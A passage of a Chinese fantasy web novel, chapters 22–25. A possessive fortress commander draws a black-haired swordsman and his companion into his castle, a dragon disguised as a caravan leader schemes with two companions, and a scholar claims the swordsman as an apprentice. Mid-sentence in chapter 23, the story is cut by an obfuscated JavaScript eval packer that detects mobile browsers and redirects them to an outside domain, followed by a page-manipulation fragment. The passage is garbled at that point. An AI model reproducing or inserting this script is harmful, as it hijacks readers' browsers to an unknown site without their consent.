卡列尔看不透艾尔扬的表情，想到之前所见，立即对艾尔扬解释：“大人，我在途中遇到过他们，碰巧走到一起。那些蛮族的目标是我，他们看中了我的武器和马。那两个人的确是无辜被卷入。” 两名中年护卫不动声色，对此一言不发。 艾尔扬折起马鞭，摩挲着嵌入兽鳞的鞭柄，目光晦暗不明。 在卡列尔以为自己的话被采信时，要塞长官突然越过战马，走向站在一起的夏维和安娜。 高大的身影接近，骑士们也包围过来。 头狼缩起脖子，压根不见方才的威风。 它乖巧得不像一头野兽。 想到曾经的遭遇，安娜下意识变得紧张，牙齿咬住嘴唇，伤口沁出一颗血珠。 夏维握住她的手腕，另一只手翻转，牢牢握住长剑。 他在思量脱身的办法。 如果情况不对，就只能强行冲出去，希望这匹狼能顶用。 艾尔扬走到两人对面，视线扫过安娜，仍落在夏维身上。 “旅行者？”他的声音温和，没有丝毫压迫感。 “是的，大人。”夏维低下头，让自己看上去不起眼。 两人距离很近，彼此之间不到两步。 这个距离让夏维不适。 尤其是艾尔扬的身高和铠甲，让他想起卡萨拉，那绝不是让人愉快的回忆。 “剑士？” “是的。” “卡列尔告诉我，你的剑术很好。”艾尔扬用马鞭敲打手掌，一下接着一下，“你的剑很特殊，我从没有见过。还有你的斗篷……” 斗篷？ 夏维心中一凛，不等他有所动作，一只大手突然抓向他的斗篷。 他下意识举手格挡，手中寒光闪烁，却被艾尔扬用马鞭抵住。无形的风缠绕在艾尔扬指间，形成透明的盾牌，使剑刃无法伤他分毫。 周围的骑士同时举起武器，将剑锋和枪头对准夏维。 一旦他轻举妄动，随时能取走他的性命。 “别紧张。”艾尔扬拎着斗篷，辨识上面的花纹。纵然染色斑驳，依旧能认出布料的出处，“石崖领的织锦，一般用在贵族城堡，你从哪里……” 检查过布料，他的视线移向夏维，忽然间顿住。 青色的眼睛锁定少年，看着他漆黑的头发，精致的眉眼，瞳孔骤然收缩，忘却了该有的审问。 22、第二十二章 黑色头发，暗夜一般的眼睛，来自石崖领的织锦。 灵光闪过脑海，艾尔扬突然想起一则传闻。 伊戈·卡萨拉，黑石城堡的主人，以洁身自好闻名于王室和贵族之间，日前突然传出一则绯闻。 他身边多出一个绝色美人。 不知来历，不知种族，被他藏在黑石城堡深处，引来诸多好奇的目光。 据刺探来的情报，那是一名黑发少年。 就如眼前这般。 无视少年手中的剑，艾尔扬丢掉斗篷，上前一步，单手扣住夏维的脸颊，目光变得炙热，似发现稀世珍宝的巨龙。 “黑色，暗夜的颜色。”他目光惊叹，声音略微低哑。完美的面具出现裂痕，透露出几分真实的情感。 讶异，惊艳。 偏执，贪婪。 见猎心喜。 这一刻，夏维的来历已经不再重要。 无论他是谁，他来自哪里，又怀揣何种目的，既然来到他的领土，那就该属于他，天经地义，没有任何人能够质疑。 “你的名字。”艾尔扬盯着夏维，笑容愉悦，就像年少时发现一只珍惜的鸟，迫不及待想握在手里。 夏维没有回答，扣住他的手腕，用力甩开他的手。眼底泛起血光，几乎控制不住心中的杀意。 看到他的样子，艾尔扬眼底的兴味愈浓。 他心思微动，收敛咄咄逼人的态度，主动退后一步，拉开两人间的距离。 “无论你从何而来，能抵挡蛮族，想必身手不错。我愿意招揽你，为你提供住处和丰厚的金币，加入风息堡，如何？” 他的态度看似商量，实际没有给夏维更多选择的余地。 权衡利弊，夏维只剩下一个答案。 他本就打算去风息堡，寻找那支飞马商队，如今，只是改变一下过程。 “很荣幸得到你的赏识，感谢你的慷慨，大人。”他说道。 艾尔扬笑了，没有再触碰夏维。 他表现得彬彬有礼，像一个真正高尚的贵族：“对于值得的人，我一向都很慷慨。” 他回身牵过缰绳，利落地登上马背。 视线扫过畏畏缩缩的头狼，他示意骑士给夏维一匹马。 “它曾经属于蛮族，不会对你忠诚。风息堡的战马更适合你。”艾尔扬说道。 夏维没有拒绝。 “夏维……”安娜扯了扯他的衣袖，欲言又止。 夏维没有说话，只是拍拍安娜的肩膀，让她稍安勿躁。 随即，他单手覆上头狼的脖颈，解除临时契约。 微光闪烁，细微的崩裂声后，对头狼的束缚彻底消失。 “走吧，离开这里。”夏维抓了抓头狼的耳朵，回头看向艾尔扬，“大人，可以放它走吗？” “当然。”艾尔扬轻扬马鞭，命令骑士让开道路。 蛮族部落已经消失，狼群被歼灭，一匹孤狼而已。 如果不能组建新的狼群，它注定会被更强大的力量驱逐，在森林边缘流浪，直至死亡。 不值得多费心思。 “快走。”夏维推了推头狼，命令它离开。 他想让这匹狼自由。 头狼绕着他走动，低头发出呜咽声。 在骑士让开道路后，求生的意志占据上风，它终于撒开四条腿奔跑，消失在夜色之中。 夏维目送头狼消失，回身牵过安娜的手。熟悉的疼痛侵袭全身，他尽量控制住表情，不露出任何破绽。 斗篷丢在地上，被马蹄踏过，愈发斑驳不堪。 夏维扫过一眼，确认无法收回。 他从骑士手中接过缰绳，先将安娜扶上马背，自己踩着马镫，利落地坐到安娜身后。 月色明亮，轻触少年肩头，为他镀上一层冷辉。 艾尔扬骑在马上，目不转睛地看着他，眸光闪了闪，笑着问道：“现在，可以告诉我你的名字了吗？” “夏维。”夏维迎上艾尔扬的视线，护住怀中的少女，微微低下头，冰冷的情绪藏入眼底，“我叫夏维，大人。” “夏维。”艾尔扬轻声呢喃，如同情人间的细语。 他单手拉下面罩，遮挡住青色双眼，也遮住那一抹势在必得。 “我向你承诺，你不会后悔今天的决定。” 话音落地，他抬起右臂，骑士队伍快速集结，卡列尔一行人紧跟在后。夏维被巧妙地夹在队伍中间，不可能中途策马逃走。 奔雷声骤起，一行人策马扬鞭，在夜色下踏风而行，掠向伫立在边塞的宏伟城堡。 马蹄声逐渐远去，蹄印后留下遍地残破的尸体。 空气中弥漫着腥甜，残忍、阴森、刺鼻。 狼嚎声又起，游荡的野狼聚集而来。 天空中盘旋暗影，夜枭和渡鸦接踵而至，准备加入这场盛宴。 又一场争夺即将拉开序幕。 在兽群和鸟群争抢尸骸时，离去的头狼悄悄返回。 它登上高处，眺望夏维离开的方向，发出一声凄厉的嚎叫。 灰熊似的丛林狼一跃而出，克服对骑士的畏惧，循着夏维离开的方向疾行，踏着马蹄印追了上去。 暗夜下，古老的城堡巍然耸立。 建筑群环形座落，基堡层层抬升，主堡位于圆环中心，顶端竖起锋利的塔楼，如利剑直插天空。 以城堡为中心，多座石桥向外辐射，贯通流淌千年的护城河。 高大的石墙沿河而建，圈起一座宏伟的要塞城市。 城市分为两重，内城建筑林立，道路四通八达，驻扎艾尔扬率领的骑士团。外城居住数千领民，房屋低矮，显得十分拥挤。 城墙外，土路经过修整，碍事的树木都被砍伐，确保视野开阔。 大量帐篷拔地而起，低矮的草棚星罗棋布，构筑起上百座大大小小的营地。 营地内灯火通明，不同的旗帜矗立在风中，马和牛的叫声不断，偶尔还有象鸣，分别来自不同商队。 这些商队规模不等，由不同种族组建，每年齐聚在此，专为市货和买卖消息。 商队集结到一定数量，集市应运而生。 今年的集市规模尤其庞大。 风息堡不设宵禁，即使是在深夜，集市中依旧人潮涌动，声音喧闹，处处热闹非凡。 众多营盘中，飞马商队的营地面积最大，排开的摊位前最是热闹。 高大的帐篷色彩艳丽，内外装饰独特。帐顶悬挂成串铃铛，遇风吹过叮咚作响。 红色大车环形排列，车厢敞开，蒙布掀起，现出车上琳琅满目的货物，或是装在箱笼里，或是直接摆在车板上。 矮人锻造的铠甲，妖精采集的草药，巨人饲养的牲畜，出自炼金师的法器，巫师的诅咒药剂，以及兽人的矿石和羽族的织锦，乃至于龙族的宝石，林林种种，品类繁多，应有尽有。 白日里，摊位前总是挤满了人，交易的、看热闹的、想趁机偷窃的，形形色色的身影穿梭在营地中，几乎找不到一处空隙。 入夜之后，人流量略有减少。商队成员总算能缓口气，轮换入帐篷吃饭休息。 集市尚未到最繁忙的时候。 等到艾尔扬派人参与进来，交易的规模才会达到顶峰。 这座城堡的主人，以及从不同领地赶来的贵族总管，才是这些商队最大的买主。 火光照耀下，吆喝声此起彼伏，议价的声音不绝于耳。 “总之，一百五十枚金币，少一枚都不行！” “不能再商量一下？” “当然不行。你要知道，这些货有多紧俏。” 一番讨价还价，卖家坚持不松口。买主只得老实掏钱，带走心仪的货物。 一名商队成员扣上箱子，收好货款，打发走下一批买主，向同伴叮嘱几声，转身走向营地内最大的帐篷。 火光照亮他脚下的路，冷峻的脸庞带着疲惫，单耳悬挂的吊坠轻轻晃动，随角度不同折射出华丽色彩。 他来到帐篷前，在装饰铃铛的帐帘前停下脚步。 帐篷里是飞马商队的主人，有火玫瑰之称的爱莲娜。 商队抵达的消息传出，慕名造访的人络绎不绝。爱慕者徘徊在营地四周，只为能见她一面。 可惜的是，爱莲娜拒绝了所有访客。 除非必要，她极少在人前露面，让许多人失望而归。 “老大，方便进去吗？”伊姆莱站在帐篷前，微光透过帐帘落在他的脸上，映出眼角的数道细痕，呈鳞片状，比起伤疤，更像是一枚别致的纹身。 “伊姆莱，进来吧。” 帐篷内传出声音，低沉、柔和，在耳畔萦绕，似诱人堕落的恶魔之声。 伊姆莱揉揉耳朵，呲了呲牙，马上意识到老大的心情不太好。 他突然有点后悔，不该这个时候过来。 现在转身也来不及了。 于是乎，飞马商队的二把手，以勇猛闻名于世的狂暴剑士，小心翼翼地掀起帐帘，探头向内看，犹豫地迈出右脚，好似要面对洪水猛兽。 事实上，情况也没差多少。 帐篷里灯光明亮，一米高的烛台落地摆放，牛油蜡烛点燃，橘红的火光包裹蓝色焰心，照亮每一个角落，不遗半点黑暗。 在他对面，帐篷中心，一道修长的身影站在光下。 身形拔高，女性柔和的曲线转为男性的坚硬。 赤红的长发垂落腰间，自发尾变色，染上暗夜一般的漆黑。 俊俏的面容没有太大变化，只是五官更加精致，右眼角增添一枚水滴状的泪痣，更显秾丽动人。 高挺鼻梁上，散落的雀斑消失无踪，皮肤变得光滑瓷白。 翠绿的眼眸在光中变化，瞳孔浸满暗红，堪比血色。 他转身看向伊姆莱，单手收紧衣领，遮住胸前攀爬的图腾。纹路烙印在心口处，瑰丽且狰狞，俨然是一枚龙族的鳞片。 23.第二十三章 看清帐篷内的情形，伊姆莱顿时脸色一变。 他当即拉下帐帘，迈步走向前，神情变得严峻：“老大，怎么会这样？” “应该是药失效了。”黧炎单手揽过长发，弯腰从桌上抽出一条发带系紧。月白色的发带上镶嵌红宝石，神秘绚丽，正如他的眼睛。 他松开手，发尾自然垂落，搭在精致的腰带上，像华丽的丝绸。 “这次的药失效太快。好在有准备，问题应该不大。”黧炎随意坐到地上，抬手指了指，示意伊姆莱坐到对面。 “是那个巫师偷奸耍滑，他肯定偷换了材料。”伊姆莱席地而坐，单手握拳敲在膝盖上，表情很是不善，“真是自作聪明，以为能从巨龙的手中占便宜，我会让他明白后果。” 黧炎笑了笑，没有说话。 修长的手指探向矮桌，拿起一张羊皮卷，抛给对面的人：“贵族的名单，之前刚刚送到。” “这么多？”伊姆莱展开羊皮卷，刚刚看到一半，脸上就浮现惊讶之色。 “狂风领的贵族都会派人，部分还会亲自到场。风息堡将有一场盛大的宴会。”黧炎侧了侧头，身旁的烛火猛然跳跃，半身陷入朦胧的光影，昳丽的面容染上几份诡异，“石崖领正在备战，边境摩擦不断，很可能爆发领地战争。而这里，正是前线。” 伊姆莱折叠起羊皮卷，抬头迎上黧炎的视线，忽然咧嘴一笑，锋利的犬齿在唇间若隐若现。 “王国贵族，领地战争，流血冲突，真是个好消息。” “当然。” 黧炎又拿起一张羊皮卷，展开后翻转，上面列举订购的铠甲和武器，来自蛮族的大生意。 “蛮族也在蠢蠢欲动。他们的脑子里堆满肌肉，思考是一种奢侈。不过这一次，他们做得还算聪明。” “蛮族。”伊姆莱伸手接过羊皮纸，看得更加仔细。计算出货款，他的表情耐人寻味，“他们能给出足够的金币？” “我要求双头蟒的骨头和毒牙。”黧炎盘膝坐着，双手交叠，“丛林部落中不乏勇士，应该不会让我失望。” “希望如此。”伊姆莱啧了一声，语气不置可否。 两人说话时，铃声作响，帐帘再次掀起。 风吹入帐内，火光轻轻摇曳，影子落在地面上，又一人走入大帐。 来人身材高挑，肩膀宽阔，却有一张娃娃脸，看不出具体年龄。 红色短发竖起在头顶，根根直立，象征他的暴脾气。耳骨顶端微尖，和伊姆莱一样，右耳佩戴一枚宝石，随着走动闪闪发光。 弯腰进入帐篷，他立即拔高嗓门：“老大，那些骑士回来……” 话说到一半，看清楚帐内的情形，来人迅速噤声。探头向外张望两眼，迅猛地拽下帐帘，确保不留一丝缝隙。 “这是怎么回事？”他看着黧炎，焦急问道。 怎么突然变回来了？ 他掰着手指头算一算，压根没到一半时间。 如果被人发现“爱莲娜”是个男人……不，这不是最要紧的。 如果被人知道老大离开烈焰岛，伪装身份走遍贵族领地，带着一群龙和龙仆在王国内来去自如，肯定会出大乱子。 王城里的那些家伙一定会发疯。 吓死也有可能。 青年这样想着，突然神色一顿，稚气的面孔笑得邪恶。 真死了也不错。 “药失效了，还有备份，应该能撑到集市结束。”黧炎按压眉心，示意来人控制一下表情，“塔利，收敛些，你真应该照一照镜子，别像一头真正的恶龙。你说那些骑士怎么了？” “他们回来了，身上有很浓的血腥味，应该是蛮族。队伍中还多出几个人。”塔利走进光下，趋近柔和的轮廓，一双清澈的眸子，常使人忽略他的本性，一头弑杀的火龙。 “要塞长官亲自出面，肯定有人要付出代价。不出意外的话，同行者有一定地位，也可能是他的亲信。”黧炎打开一只箱子，里面排列数只水晶瓶。瓶身晶莹剔透，墨绿色的药液盛在瓶中，质地粘稠，看上去口感很糟糕。 他取出一只，轻轻摇晃两下，单手拨开瓶塞，将苦涩的液体倒进嘴里。 即使喝过许多次，他仍不习惯这种苦味。 效果也变得短暂。 他应该采纳伊姆莱的建议，让那些巫师吃到教训。 也许，他应该抓来几个关押。 地点很好找，岛上废弃的矿洞可以利用起来。 看守的话，可以选择龙仆。允许他们在肚子饿的时候吃几个，他们会无比尽忠职守。 真是个让人愉快的决定。 世间最后一头暗龙垂下眼帘，心中打着黑暗的主意。 那张脸愈发漂亮，美得惊心动魄，邪恶得令人胆寒，足以让怀揣侥幸的巫师惊魂丧胆，忏悔自己的罪过，为了活命匍匐在地。 看到这一幕，伊姆莱和塔利下意识缩了缩脖子。 “你猜，老大在想什么？” “有人要倒霉了。” “真巧，我也这样想。” 等待药剂发挥作用时，黧炎示意两人靠近，吩咐道：“如果药效持续缩短，我需要减少露面。除了艾尔扬的生意，其余全部交给你们。” “明白。”伊姆莱点点头，没有任何异议。 “那些贵族总是装腔作势，明明渴望得要命，还要装模作样。”塔利搓了搓手指，发出咔擦声，仿佛金属在摩擦，“我真不耐烦和他们打交道。” “不必烦躁。”黧炎抬眸看向他，反手捞起长发，发尾的颜色发生改变，重现火焰一般的红，“这个王国即将烽火四起，贵族们为私欲厮杀，夯实王权的法阵会被打破。王权坍塌的那一天，古老的誓言会出现裂痕，枷锁会松动，牢笼的门将彻底打开。挣脱它，我们将获得真正的自由。” 塔利不再倾诉不满，低下头，眼底闪过愤恨：“狡猾的术士，该死的王族，真想掘开他们的坟墓！” 伊姆莱向黧炎颔首，神情郑重，目光坚定：“那一天终会到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186605|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” 龙族被束缚太久，烈焰岛是他们的领地，同样是一座牢笼。 他们会摆脱它，彻彻底底。 无论岁月是否漫长，也无论时间过去多久。 火光跳跃，三人的影子在帐顶拉长，隐显狰狞的本体。 帐篷外突起一阵喧哗声。 艾尔扬的骑兵踏出黑暗，径直闯入热闹的集市。 战马穿过人群，马上骑士不断扬鞭。 人群发出惊呼声，互相推搡着，迅速让至道路两侧。目光仍追随着骑士，目送要塞长官一马当先，鹰盔反射凛冽的白光。 队伍奔向吊桥，途经飞马商队的营地。 撞见飘扬的旗帜，艾尔扬主动减速，手中的长鞭轻击臂甲，以示对这支商队的重视。 药剂发挥作用，青年变回火辣的红发美人。 黧炎掀起帐帘走出帐篷，站定在火光下，身上披着一件长斗篷，单手附在肩膀上，微笑着向艾尔扬致意：“夜安，艾尔扬大人。” “夜安。”艾尔扬在马上回礼。 骑士们穿梭而过，似一阵风掠过营地前。 数个做旅行者打扮的身影夹在队伍中间，与全副武装的骑士迥然不同，样子有些格格不入。 卡列尔盯着前方的城堡，脸颊泛起红晕，双目炯炯有神。 火光拖曳而过，映出年轻贵族眼底燃烧的野心，对权力、地位和财富的渴望。 夏维与安娜同乘一匹马。 少女被少年护在怀中，屏蔽所有窥伺的目光。少年始终面无表情，既无激动也无担忧，没人能看出他此刻在想些什么。 途经集市时，他的目光才略有松动。 火光照亮夜空，大大小小的营盘错落有致，人流在道路中穿梭，看上去热闹非凡。 集市前方就是宏伟的城堡，以及围绕城堡建造的城市。 城墙巍峨，护城河深不见底，比黑石城堡更加牢固，也更加防守严密。 想成功走出来，绝不是那么容易。 夏维攥紧缰绳，心思翻转间，眼底闪过一抹红光。光芒稍纵即逝，速度快得仿若错觉。 安娜抬头看向他，目光所及，只能看到少年白皙的下巴。 她嘴唇动了动，眼尾余光捕捉到两旁的骑士，立刻闭紧嘴巴，拉严兜帽，遮住自己的表情。 她不太聪明，也没太大的本事，但她懂得什么时候该保持沉默，不给夏维添麻烦。 骑兵经过多座营地，光影飞速后退，朦胧建筑和人影，绵延成光怪陆离的长带。 飞马商队排在最后，位置靠近城墙。 红发的高挑身影立在帐前，厚重的能量侵袭而来，如同海浪，瞬息冲刷过夏维全身。 精纯的力量让他心生渴望。 如同灵石，但比灵石更加纯粹。 夏维的呼吸略微急促，不由得收紧缰绳，在马背上转头。 追逐能量的脉络，他在火光下搜寻，猛然间锁定目标，撞进一双翠绿色的眼睛。 24、第二十四章 夏维的斗篷遗落在战场，失去兜帽遮挡，全身沐浴在火光下，黑发和漆黑的双眼尤其醒目。 暗夜的颜色。 伊姆莱和塔利不由得心头一动，同时抬起头，看向身前的黧炎。 “老大，他？” “回去再说。” 黧炎向两人摇头，示意不要多言。 就在两头巨龙闭上嘴巴，以为黧炎有意低调行事时，后者突然上前一步，向马上的少年扬起笑容，更当众抛出一记飞吻，笑得异常明媚：“我叫爱莲娜，幸会。” 伊姆莱：“……” 塔利：“……” 不是，这对吗？ 让他们别出声，自己却这么干？ 夏维经过时，多数人目光被吸引。 出于对艾尔扬的畏惧，加上不清楚他的身份，少有人敢一直盯着他，更不必提设法搭话。 黧炎却反其道而行，大胆热烈，令人始料未及，好似根本不怕触怒风息堡的主人。 特立独行，虎口夺食。 能率领飞马商队走遍王国的存在，果然不是一般人！ 夏维不想引来注意，奈何黧炎散发的能量过于吸引人。 他在马背上点头回应，跟随骑士前行时，心中持续盘算着，该如何走出城堡，接近那支商队。 很难。 但比起寻找烈焰岛，明显更容易一些。 马蹄声一路远去，骑士化作青灰色的洪流，鱼贯穿过护城河上的吊桥，驰进洞开的城门内。 短暂的混乱之后，集市恢复如常，摊位前重新变得拥挤。 无论买家还是卖家，交易时都不免议论几句。提起经过的队伍，都是兴致勃勃，谈兴浓厚。 夜半归来的骑士，队伍中多出的生面孔，无不挑动众人神经，勾起浓烈的好奇心。 原本，卡列尔该是焦点。 毕竟艾尔扬是为他出战，从蛮族手中救下自己的表亲。 很可惜，由于夏维的出现，属于他的关注被抢走。 黑发黑眼，瓷白的皮肤，如同神祇的造物，绝不属于帕托拉平原。纵然只是惊鸿一瞥，也能看出他的特殊。 提起这个来历成谜的少年，众人兴趣浓厚，各种猜测纷纷出炉。 “哪怕只是一眼，我的心也跳得厉害，真是个美人！” “艾尔扬大人亲自带回来的。” “他是黑头发，你们想起什么没有？” “那则传闻？” “对，就是那则传闻！” “石心卡萨拉有了情人，据说是个非同一般的美人。难不成，狂风领的雄鹰也将走下高崖？” “艾尔扬大人和卡萨拉可不一样。” “你是说那些绯闻？没有一则被证实。” “许多贵族小姐疯狂迷恋他，还曾传出过订婚的消息。事后证明都是假话。能被他看在眼中的，迄今没有一个。” “真是没想到。” “这样的大人物，还真是……” 众人交换情报，八卦之心被挑起，如烈火熊熊燃烧。 黧炎三人没有在帐外久留，见有人企图凑过来，伊姆莱和塔利向商队成员摆手，立即有几个高大的身影上前阻拦。 来人被挡住，无法前进半步，只能眼睁睁看着那朵火玫瑰走远，和他的心腹一起消失在帐帘后。 与此同时，艾尔扬一行人穿过外城，进入骑兵团驻扎的内城。 身为要塞长官的表亲，卡列尔有资格携护卫住进城堡。 “这是我的荣幸。”年轻的贵族在马上行礼，表现十分得体，感激之情恰到好处。 艾尔扬向他颔首，自然地转向夏维，对他发出邀请：“城堡内有许多房间，有一间属于你。” 说到这里，艾尔扬顿了顿，目光短暂移向安娜：“当然，还有你的妹妹。” 两人并无半分相似，很难相信彼此存在血缘关系。 艾尔扬无意深究。 进入他的城堡，就是属于他的。至于别的，他并不在乎。 “感谢你的好意。”夏维是受到招揽的剑士，对于这份邀请，没有任何理由拒绝。 他痛快点头，全无对方猜测的迟疑和婉拒。 很聪明，也很懂得权衡利弊，做出最合适的选择。 艾尔扬微微一笑，心情突然变得很好。眉目舒展开，因笑容更显俊逸非凡。 进入内城后，骑士们先一步返回军营，仅余数人护送艾尔扬前往城堡。 抵达城堡前，艾尔扬勒住缰绳，率先翻身下马。 两名马僮等候在台阶前，见艾尔扬下马，立即走上前，躬身接住甩来的马鞭，利落牵走战马。 艾尔扬摘下头盔，递给身侧的仆人。随后走到夏维马前，朝他伸出手：“欢迎来到我的城堡，我的剑士。” 月光覆上古老的城堡，顺着屋顶和墙壁流淌，在庭院中投下清影。 城堡前，要塞长官长身而立，沐浴在月辉中，愈显身姿挺拔，容貌俊雅，气质超凡绝俗。 他向夏维伸出手，表现得克制有礼，如同一个耐心的猎人，悄无声息张开捕网，给予猎物错误的信号，让对方误以为存在余地，自己还有逃脱可能。 可惜的是，一切都是虚假。 霸道和攫取才是现实。 看到这一幕，卡列尔抿了抿嘴唇 他想起年少时，和艾尔扬共处的时光。时间十分短暂，也足够让他了解这位表亲的真实性格。 看似温文尔雅，实则偏执阴鸷，甚至有些不择手段。 他被吓哭过。 现实意义上。 一个十岁的孩子能有多吓人，不是亲眼所见，绝对无法想象。 目光转向拒绝艾尔扬示好，自行翻身下马的少年，卡列尔不禁摇头叹息。 被这位大人物盯上，引起他的兴趣，难说幸还是不幸。 心甘情愿还好，若是不情愿，注定有苦头吃。 除非艾尔扬主动放手，或是有奇迹发生，他休想再走这座城堡。 “祝他好运吧。”卡列尔自言自语。 柯蒙和凡斯看向他，十分有默契地一言不发。 对于少爷的想法，他们有时很难理解。 但有一件事可以肯定，少爷不缺乏智慧和野心，更不是众人口中风流不羁的浪荡子。 不，风流的确有，浪荡也是现实。 倒也称不上太大的缺点。 两人对视一眼，各自转过头，继续保持沉默。 遭到夏维拒绝，艾尔扬仅是笑了笑，自然地收回手，并未放在心上。 他命令骑士离开，随即登上台阶，走向城堡大门。 镶嵌铜钉的大门向内敞开，明亮的灯光流淌而出。水波状的光晕流泻在台阶上，蜿蜒而下，直至触碰几人的鞋尖。 数道身影出现门后，脚步声带着急切，欢迎艾尔扬归来。 为首一人年逾古稀，身材瘦高，穿着一身丝绸袍子，腰间打着样式繁复的绳结。腰带左侧插着一把匕首，刀柄雕刻骷髅，被铁荆棘缠绕，散发不祥的光。 瘦长的脖颈上挂着三条骨链，一条紧箍喉咙，一条绕过肩膀，另一条垂至腰间。 第二条骨链中心垂下坠子，形状独特，类似某种啮噬动物的颅骨，眼眶、耳洞和鼻孔中都镶嵌宝石，样子十分诡异。 他脸上皱纹横生，头上戴着一顶尖尖的帽子。灰白色的胡须长至腰间，被打理得十分整齐，貌似还涂抹油脂，散发出一股奇特的香味。 他就是方托学士，与艾尔扬家族签订契约，在要塞中的地位举足轻重。 在他身后分别站着女仆长阿林娜和城堡总管瓦里斯。 阿林娜身材丰腴，容貌秀丽，嘴角自然上翘，时常会未语先笑，给人亲和感。 瓦里斯是个沉默的中年人。他的身材高壮魁梧，虎口、掌心和指腹都生有茧子，分明是一个用剑高手。 他们服务这座城堡，忠诚于艾尔扬，也是艾尔扬信任并仰赖的心腹。 “欢迎归来，大人。”阿林娜和瓦里斯躬身，两人身后排列着女仆和侍从，弯腰的角度趋同，仿佛彼此的影子。 相比他们，方托学士则放松许多。 他大步走向前，单手轻拍艾尔扬的肩膀，笑容爽朗，语气意味深长：“星象告诉我，你此行一切顺利，还会有意外收获。” “意外收获？”艾尔扬诧异挑眉。 “当然。”方托学士眨眨眼，视线落向艾尔扬身后，逐一扫过卡列尔等人，最终定在夏维身上。 找到了。 稀世的宝石。 蓝色的眼睛闪过一抹笑，还有不属于老年人的淘气。 “看样子，我的预言相当准确。” 25、第二十五章 “方托学士，我从未怀疑你的预言。没人能质疑你，狂风领的智慧。” 艾尔扬莞尔一笑，没介意对方的调侃。 他侧身让开半步，示意卡列尔上前。 “我的表亲卡列尔，莱莎姨妈的儿子。”他向方托介绍卡列尔，提及后者的母亲，曾经跟随方托学习的莱莎夫人。 “莱莎，我记得，一个聪明的小姑娘。”方托陷入回忆，单手抚过胡须，惋惜说道，“可惜她没有完成系统学习，就急匆匆嫁人了。那不是个好小子，我记得很清楚！” 听到方托学士对父母的评价，卡列尔不敢有半句反驳，他弯腰行礼，表现得十分恭敬：“我对您慕名已久，很荣幸能见到您，方托学士。” “会说好话的年轻人，总是讨人喜欢。”方托学士态度和善，丝毫没有传说中的严肃古板，“欢迎来到风息堡，为矫健的雄鹰效力。” “我的荣幸。”卡列尔低下头，态度愈发谦虚。 艾尔扬握住卡列尔的肩膀，正打算说出学徒一事：“他此次到来，希望能……” 不料方托突然转移视线，注意力落到他的身后。 “大人，这两个漂亮的小家伙是谁？” 话题被刻意打断，艾尔扬不免感到意外。 出于对方托学士的尊敬，他按下卡列尔的肩膀，示意他稍安勿躁。 随即向夏维招手，示意他靠近，单手覆在夏维身后，靠近腰的位置，态度十分自然。 “夏维，一名优秀的剑士。他和妹妹在旅行途中，不幸卷入卡列尔与蛮族的战斗。我有幸招揽他，邀请他来到我的城堡效力。” “优秀人才难得，理应敞开怀抱，释放善意和慷慨。”方托学士笑着颔首，对艾尔扬的话十分赞成。 他越过艾尔扬走向夏维，未知是否故意，单手牵住他的胳膊，帮助他离开艾尔扬的掌控。 老人笑容和蔼，让艾尔扬无从发作。 “年轻人，我在你身上看到璀璨的光，不属于帕托拉，更加遥远，触摸不到的遥远。” 闻言，夏维心头微紧，眼底闪过一丝疑惑。 一个慈祥的老人，不具有任何攻击性，却莫名透出危险。 这位老人让他想起曾经。 那些看似毫无威胁，却能不费吹灰之力，轻易致人于死地的存在。 一种源于内心最深处的警惕。 自从来到这个世界，这还是第一次。 出于本能，夏维借行礼避开方托的目光。 年迈的学士并不介意，忽略他的动作，继续说道：“欢迎你加入风息堡，年轻人。剑术之外，你还会别的吗？” “我能读写，还会算数。”夏维谨慎开口，话中真假参半，“我和妹妹游历各方，主要为磨炼剑术和增长学识。” “认识字，会算数，那可真是太好了！”方托学士面露惊喜，双手按住夏维的肩膀，“我正好需要学徒，年轻人，你很合我的要求。跟我来。我想，我们需要一场考试。相信我，不会太难。对了，你的妹妹也一起。” 方托一边说，一边拉着夏维转身离开。 “大人，我先带他走。另外，再次欢迎你归来！” 伴随着话音，方托已经拉着夏维走远。他总是这样风风火火，艾尔扬甚至来不及阻拦。 安娜匆忙跟上去，裙边扬起，斗篷的兜帽落在肩后，长发打绺，发顶仍呈现漂亮的沙金色。 目送三人的背影，卡列尔如梦初醒，满脸的愕然。 “大人，方托学士计划收几名学徒？”他转向艾尔扬，试探问道。 如果只有一个，他还有机会吗？ 莫非他之前的打算要泡汤了？ 艾尔扬抱臂站在原地，手指轻击上臂，神情莫名。 方托学士性格多变，常有意料外的举动，今夜的行为却委实古怪。 他像是故意要带走夏维。 为什么？ “卡列尔，这件事，我会给你一个交代。”艾尔扬收敛心神，看向神情失望的表亲，“你先去休息，明天，我会亲自询问方托学士。” 这是最好的安排。 也是唯一可行的办法。 “无论事成与否，我都感激大人的帮助。”卡列尔向艾尔扬表示感谢，“我发誓忠诚于您，为您效忠！” 忠诚？ 信或不信，艾尔扬都没有表现在脸上。 他面带微笑，握拳轻捶卡列尔的肩膀，其后吩咐总管瓦里斯：“为我的客人安排房间，还有他的护卫和仆人。” “遵命，大人。”瓦里斯深深弯腰，双手袖在身前，像一张绷紧的弓。 待艾尔扬转身去往二楼，他才直起身，对卡列尔说道：“房间已经准备好，请和我来，卡列尔少爷。关于您的护卫和仆人，有侍从帮忙引路。” “好。”卡列尔点点头，朝护卫摆手。 后者当即脚跟一转，跟随侍从去房间休息。 几名仆人另有安排，他们会住在靠近厨房的地窖里。 他们的体型过于庞大，站直会撞上屋顶。除了地窖，没有仆人房能容纳他们。 “地窖足够宽敞，有取暖的炉子，也不会潮湿。除了昏暗一些，你们会住得很舒服。”一名侍从提着马灯，对几人说道。 几人毫无异议。 看过地窖环境之后，他们更加满意。 巨人喜欢穴居，大多数住在岩洞里。他们体内流淌着巨人的血，纵然稀薄，也延续几分天性。 黑暗，宽敞，幽静，是他们最喜欢的环境。 瓦里斯负责安排卡列尔一行，阿林娜则带着几名女仆去往二楼。 女仆们手捧干净的衣物，还有提前准备好的食物和葡萄酒。 每次艾尔扬从外归来，都会在浴室中耗费很长时间，时常还要喝上几杯，让自己彻底放松。 